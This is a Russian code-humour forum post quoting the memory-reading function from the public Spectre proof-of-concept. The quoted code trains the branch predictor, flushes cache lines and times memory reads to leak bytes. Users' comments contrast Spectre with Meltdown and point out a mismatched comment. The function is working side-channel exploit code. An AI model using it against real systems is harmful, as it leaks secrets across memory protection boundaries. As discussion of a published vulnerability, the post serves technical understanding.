1. Си / Говнокод #23644

    0

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {
      static int results[256];
      int tries, i, j, k, mix_i, junk = 0;
      size_t training_x, x;
      register uint64_t time1, time2;
      volatile uint8_t * addr;
    
      for (i = 0; i < 256; i++)
        results[i] = 0;
      for (tries = 999; tries > 0; tries--) {
    
        /* Flush array2[256*(0..255)] from cache */
        for (i = 0; i < 256; i++)
          _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */
    
        /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */
        training_x = tries % array1_size;
        for (j = 29; j >= 0; j--) {
          _mm_clflush( & array1_size);
          for (volatile int z = 0; z < 100; z++) {} /* Delay (can also mfence) */
    
          /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
          /* Avoid jumps in case those tip off the branch predictor */
          x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
          x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */
          x = training_x ^ (x & (malicious_x ^ training_x));
    
          /* Call the victim! */
          victim_function(x);
        }
    
        /* Time reads. Order is lightly mixed up to prevent stride prediction */
        for (i = 0; i < 256; i++) {
          mix_i = ((i * 167) + 13) & 255;
          addr = & array2[mix_i * 512];
          time1 = __rdtscp( & junk); /* READ TIMER */
          junk = * addr; /* MEMORY ACCESS TO TIME */
          time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
          if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
            results[mix_i]++; /* cache hit - add +1 to score for this value */
        }
    
        /* Locate highest & second-highest results results tallies in j/k */
        j = k = -1;
        for (i = 0; i < 256; i++) {
          if (j < 0 || results[i] >= results[j]) {
            k = j;
            j = i;
          } else if (k < 0 || results[i] >= results[k]) {
            k = i;
          }
        }
        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
          break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */
      }
      results[0] ^= junk; /* use junk so code above won’t get optimized out*/
      value[0] = (uint8_t) j;
      score[0] = results[j];
      value[1] = (uint8_t) k;
      score[1] = results[k];
    }

    Красиво. Душевно.
    https://github.com/Eugnis/spectre-attack

    Запостил: gost, 06 Января 2018

    Комментарии (35) RSS

    • Мне вот знаете что не понятно. Как в сишечке поймать сегфолт, который произойдёт после попытки чтения нужной памяти?
      Ответить
      • Поставить обработчик сигнала
        Ответить
      • А надо ли? Вроде как за границы доступной памяти выходят только в спекулятивном режиме.
        Ответить
        • В этой уязвимости вообще не выходят за границы доступной памяти. Тут выходят только за границы буфера, причём спекулятивно и никто об этом не узнает (кроме кеша).
          Ответить
          • Ты читаешь память, на которую у пользовательского кольца защиты нет прав.
            Ответить
            • Это в meltdown ты нагло читаешь ядрёную память и ловишь сегфолт.

              А в spectre ты обучаешь предсказатель ветвлений или косвенных переходов так, чтобы код жертвы по-инерции прыгнул на фрагмент, который прочитает нужный тебе байт и оставит побочный эффект в виде загруженного кэшлайна. Тут нарушения защиты нет - байт читаешь не ты, а сама жертва, а ей можно было.

              Как-то так вроде бы, если я правильно понял статью на project zero.
              Ответить
    • По запросу "_mm_clflush" 3-я ссылка на говнокод. Охуеть нашёл документацию.
      Ответить
      • У меня видимо гугл какой-то другой. На первой странице говнокода нет.
        Ответить
        • У меня есть. Зашел из приватного режима (чистые куки). Выдача англоязычная в основном.
          Ответить
      • Вместе с _mm_clflush часто ищут
        govnokod.ru не работает     1c код
        govnokod не работает        конец если
        govnokod ru best            govnokod.ru битрикс
        isbukva                     коде орг
        Ответить
    • /* Flush array2[256*(0..255)] from cache */
          for (i = 0; i < 256; i++)
            _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */

      А вот и говно. 256 или 512?
      Ответить
      • > 256 или 512
        uint8_t array2[256 * 512];

        Банальная опечатка в комменте. Видимо, сначала юзали интервал в 256 байт, потом перешли на 512.
        Ответить
        • Говно классическое - комент не соответствует коду.
          Ответить
          • вывод: никогда не комментируйте значения magic numbers
            Ответить
            • Это еще ничего, хуже такое где сразу фейл не видно типа

              0x31313131 // "bbbb"
              Ответить
            • вывод: никогда не комментируйте
              чтобы слово не расходилось с делом, нужно молчать и ничего не делать
              Ответить
    • Дайте сплоет под win32
      Ответить

    Добавить комментарий